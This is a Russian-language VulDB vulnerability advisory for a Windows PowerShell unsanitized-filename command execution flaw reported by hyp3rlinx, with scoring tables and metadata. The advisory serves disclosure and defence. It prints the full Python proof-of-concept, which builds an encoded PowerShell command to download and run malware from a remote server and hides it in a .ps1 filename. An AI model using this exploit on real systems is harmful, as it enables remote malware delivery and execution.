| CVSS Meta Temp Score | Текущая цена эксплойта (≈) | Балл интереса CTI |
|---|---|---|
| 5.7 | $0-$5k | 0.00 |
Сводка
Была найдена уязвимость, отнесённая к категории критический, в Microsoft Windows. Затронута неизвестная функция компонента PowerShell. Выполнение манипуляции в составе Semicolon приводит к эскалация привилегий. Атаку можно провести дистанционно. Более того, существует эксплойт. Рекомендуется деактивировать соответствующий компонент.
Подробности
Была найдена уязвимость, отнесённая к категории критический, в Microsoft Windows. Затронута неизвестная функция компонента PowerShell. Выполнение манипуляции в составе Semicolon приводит к эскалация привилегий. Использование CWE для объявления проблемы приводит к тому, что CWE-94. Данная уязвимость была опубликована 01.08.2019 исследователем John Page (hyp3rlinx) в виде Консультация (Веб-сайт). Консультация доступна для скачивания по адресу hyp3rlinx.altervista.org. Публичный релиз был согласован с поставщиком.
Атаку можно провести дистанционно. Технические подробности отсутствуют. Данная уязвимость менее популярна, чем в среднем. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. В проекте MITRE ATT&CK эта техника атаки обозначена как T1059.
Указано значение Доказательство концепции. Эксплойт можно скачать по ссылке hyp3rlinx.altervista.org. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 12 дней. Как 0-day, оценочная цена на теневом рынке составляла примерно $25k-$100k. Код, используемый эксплойтом, следующий:
from base64 import b64encode import argparse,sys #Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC #Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename. #Expects hostname/ip-addr of web-server housing the exploit. #By hyp3rlinx #Apparition Security #====================def parse_args(): parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.") parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.") parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.") return parser.parse_args()
def main(args): PSEmbedFilenameMalwr="" if args.ipaddress: PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))
def create_file(payload): f=open("Test;PowerShell -e "+payload+";2.ps1", "w") f.write("Write-Output 'Have a nice day!'") f.close()
if _name_=="_main_": parser = argparse.ArgumentParser() PSCmds = main(parse_args())
if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) create_file(PSCmds) print "PowerShell - Unsantized Filename Command Execution File created!" print "By hyp3rlinx"
Рекомендуется деактивировать соответствующий компонент.
Продукт
Тип
Поставщик
Имя
Лицензия
Веб-сайт
- Поставщик: https://www.microsoft.com/
- Продукт: https://www.microsoft.com/en-us/windows
CPE 2.3
CPE 2.2
Видео

CVSSv4
VulDB Вектор: 🔍VulDB Надёжность: 🔍
CVSSv3
VulDB Meta Base Score: 6.3VulDB Meta Temp Score: 5.7
VulDB Базовый балл: 6.3
VulDB Временная оценка: 5.7
VulDB Вектор: 🔍
VulDB Надёжность: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Вектор | Сложность | Аутентификация | Конфиденциальность | Целостность | Доступность |
|---|---|---|---|---|---|
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍
Эксплуатация
Класс: эскалация привилегийCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Физический: Нет
Локальный: Нет
Удалённый: Да
Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: John Page (hyp3rlinx)
Скачать: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍
| 0-Day | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
|---|---|---|---|---|
| Сегодня | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
Разведка угроз
Интерес: 🔍Активные акторы: 🔍
Активные группы APT: 🔍
Контрмеры
Рекомендация: ОтключитьСтатус: 🔍
0-дневное время: 🔍
Задержка эксплуатации: 🔍
Хронология
20.07.2019 🔍23.07.2019 🔍
01.08.2019 🔍
01.08.2019 🔍
06.08.2019 🔍
21.07.2020 🔍
Источники
Поставщик: microsoft.comПродукт: microsoft.com
Консультация: hyp3rlinx.altervista.org
Исследователь: John Page (hyp3rlinx)
Статус: Не определено
Скоординированный: 🔍
GCVE (VulDB): GCVE-100-139527
scip Labs: https://www.scip.ch/en/?labs.20161013
Вход
Создано: 06.08.2019 07:42Обновлено: 21.07.2020 11:24
Изменения: 06.08.2019 07:42 (53), 21.07.2020 11:24 (2)
Завершенный: 🔍
Отправитель: hyp3rlinx
Cache ID: 216::103
Отправить
принято
- Отправить #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (по hyp3rlinx)
Дубликат
- Отправить #XXXXXX: Xxxxxxx Xxxxxxxxxx / Xxxxxx Xxxx Xxx (xxxxxxxxx) (по hyp3rlinx)
- Отправить #XXXXXX: Xxxxxxxxx Xxxxxxxx Xxxx-xxxxxxx Xxxxxxxxxx Xxx * Xxxxxx Xxxx Xxxxxxxxx (по hyp3rlinx)
Be aware that VulDB is the high quality source for vulnerability data.
Комментариев пока нет. Языки: ru + be + en.
Пожалуйста, войдите в систему, чтобы прокомментировать.